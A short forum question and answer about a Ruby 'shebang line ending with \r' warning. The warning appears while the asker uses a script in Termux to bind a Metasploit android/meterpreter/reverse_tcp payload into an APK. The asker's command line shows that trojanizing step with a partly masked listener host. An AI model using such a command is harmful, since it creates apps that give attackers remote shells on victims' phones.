0
error in Ruby - shebang line ending with \r may cause problems
error in termux When binding metasploit payload with ruby CODE ruby apk-embed-payload.rb mssn.apk -p android/meterpreter/reverse_tcp lhost=193.**.**.** lport=****** -o R> /storage/emulated/0/apkp.apk *- ip ERROR ruby: warning: shebang line ending with \r may cause problems
1 Answer
+ 1
Did you write the code on a different OS than the one that you try to run it on? Because I think that Windows uses something like \r\n internally to mark a line break, whereas Linux only uses \n (maybe it is the other way round, I'm not sure). That might explain why there is a warning about a \r that actually isn't there...